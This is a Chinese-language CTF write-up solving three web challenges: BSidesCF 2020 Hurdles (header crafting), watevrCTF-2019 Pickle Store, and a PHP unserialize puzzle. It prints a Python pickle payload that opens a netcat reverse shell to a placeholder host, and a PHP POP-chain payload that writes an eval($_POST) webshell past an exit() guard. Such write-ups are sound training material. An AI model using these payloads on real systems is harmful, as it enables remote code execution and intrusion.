[BSidesCF 2020]Hurdles
1.谜语题,它和传统构造请求头不一样,添加了很多新方式。从开始慢慢来,第一个就是以put方式需要访问/hurdles
,postman或burpsuite修改请求方法即可。
2.第二步需要在末尾路径加上!,/hurdles/!
;第三步加上请求参数?get=flag
;第四步就是需要加上请求参数名为&=&=&
,但是每一个&号后面的都会被认为是一个请求参数,于是需要url编码一下避免混淆,?get=flag&%26%3d%26%3d%26=1
3.接下来是需要让那个请求参数名为&=&=&
的值与%00+换行符相等,于是将值再次编码一下?get=flag&%26%3d%26%3d%26=%2500%0A
。
4.第五步是需要basic方式的基础认证,也就是Authorization
头的Basic
方式。username值为player,进行base64编码一下再添加Authorization:Basic cGxheWVyOjEyMw==
,postman可以直接在Auth模块下选择Basic认证。
5.第六步需要认证的密码为open sesame
的MD5加密值,修改密码后传入Basic
认证,Authorization:Basic cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi
;进入第七步,需要1337浏览器,且版本大于9000,修改UA头User-Agent: 1337 v.9001
。
6.第七步添加X-Forwarded-For
头,随后需要被代理,XFF头的构造如下:
X-Forwarded-For:[client-ip],[proxy1-ip],[proxy2-ip]....
最后修改为:X-Forwarded-For:127.0.0.1,127.0.0.1
,然后第八步则是修改client-ip为13.37.13.37
,X-Forwarded-For:13.37.13.37,127.0.0.1
,当出现域名代理时,可以添加请求头via
+域名。
7.第九步添加cookie名为Fortune
,然后需要值为2012年提出的RFC标准的值,百度得到RFC6265,Cookie:Fortune=6265;
8.第八步修改Accept仅为text/plain
,第九步修改Accept-language仅为俄语ru
。第十步添加origin头为https://ctf.bsidessf.net
。第十一步添加referer头为https://ctf.bsidessf.net/challenges
9.最后在响应头中获得flag。
[watevrCTF-2019]Pickle Store
1.看到标题就知道是pickle序列化,购买查看cookie发现pickle值,替换成之前保存的脚本生成的payload,反弹shell然后cat flag.txt
即可获得flag
class cmd():
def __reduce__(self):
return (eval,("__import__('os').popen('nc x.x.x.x 2333 -e /bin/sh').read()",))
c = cmd()
c = pickle.dumps(c)
print(base64.b64encode(c))
[2020 新春红包题]1
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
1.这题我自己过程中遇到一些问题没做出来,首先看第一个A类,__destruct
方法中,当$this->autosave
为假时调用save()方法。
c
o
n
t
e
n
t
s
通过
‘
contents通过`
contents通过‘this->getForStorage()`方法获取,跟进查看。
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
2.getForStorage()
方法返回一个json_encode的数组,其中包括$this->complete
以及下面的$this->cleanContents($this->cache);
,很明显cleanContents()
这段代码可能是用于处理文件上传的数组的,判断数组键值是否也是数组,然后与$cachedProperties
生成的数组名进行对比查找这些键名相同的成员,然后再将这些成员返回一个$contents数组。
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
3.然后就调用了$this->store->set()
方法,而set方法刚好在B类,于是我们需要让$this->store
为B类的对象。继续查看set方法。
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
4.$expire
属性不需要看,$filename
接受的是一个包含随机数的的文件名而且后缀不能为.php,在这思路卡了一下,后面看了wp才知道可以用目录穿越来将文件名变成文件夹的同时跳到上一级来绕过随机数文件名。还有.php
一开始是想用大小写来绕过,但是到后面写入完访问时直接被下载了。
5.后面对文件名进行了一个basename处理,于是采用在php后面添加./的形式通过该函数处理进行绕过。再看我们要写入的$data
,经过$this->serialize($value);
处理,直接返回$this->options['serialize']
函数处理后的class A::$complete
值。
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
6.这里也卡了一下,原因就是A类采用了json_encode
加密,原本打算是在这里再用$this->options['serialize'] = "json_decode"
解密的。可是我忽略了传入的只有一串数据,并没有文件上传处理的class A::$contents
数组,所以json加密后还是这串数据,但是利用json解密源数据则会报错。所以这里直接让$this->options['serialize'] = ''
为空即可。
7.再到后面就是压缩操作,我们这里不需要压缩,直接让$this->options['data_compress']
属性为假即可。然后就是最后的文件写入,包括死亡exit()绕过,这里可以看到上面文件名中$this->options['prefix']
可控。于是采用base64解码绕过exit(),因为base64编码是四位一组为一个字符,而<?php\n//%012d\n exit();?>\n
一共21个字符,还需要再补三位字符组成base64编码格式。然后再将$this->options['prefix']=php://filter/convert.base64-decode/resource=uploads/
即可先将解码再写入到我们的可控文件名中。
8.最后梳理一下,A类我们要进入__destruct
方法中,首先需要$this->autosave = 0
;进入save()方法,让我们要写入的数据base64编码然后补三位字符,也就是$this->complete="abcPD9waHAgZXZhbCgkX1BPU1RbMF0pOz8+"
;然后文件名后缀需要用路径绕过,也就是传入的$this->key = "/../gj.php/.";
;再然后就是将$this->store
作为实例化B类的对象。然后到B类,文件名绕过已经解决了,然后就是函数不处理我们的数据,但是为空也会出现错误于是直接让它为urlencode,也就是$this->options['serialize'] = 'urlencode'
;再往下我们要写入的数据不需要被压缩,就让$this->options['data_compress'] = 0
;再接一个死亡exit绕过$this->options['prefix']="php://filter/convert.base64-decode/resource=uploads/"
。
payload:
<?php
class A {
public function __construct(){
$this->autosave = 0;
$this->cache = array();
$this->complete="abcPD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%2B";
$this->key = "/../gj.php/.";
$this->store = new B();
}
}
class B{
public function __construct(){
$this->options['data_compress'] = 0;
$this->options['serialize'] = 'urldecode';
$this->options['prefix']="php://filter/convert.base64-decode/resource=uploads/";
}
}
echo urlencode(serialize(new A));
注意
1.会报错的地方尽量避免,比如说如果json_decode函数就会出现错误,原因就是当我们利用的json_encode值不为数组时,它加密后仍然为源数据,且用对应函数解密会发生错误。
2.当我们的Base64编码的shell出现了特殊字符,用urldecode解密时,需要先加密一下,如上面payload,+变成了%2B,否则又会出现base64解码四位字符不匹配然后会在末尾补等号导致解码失败。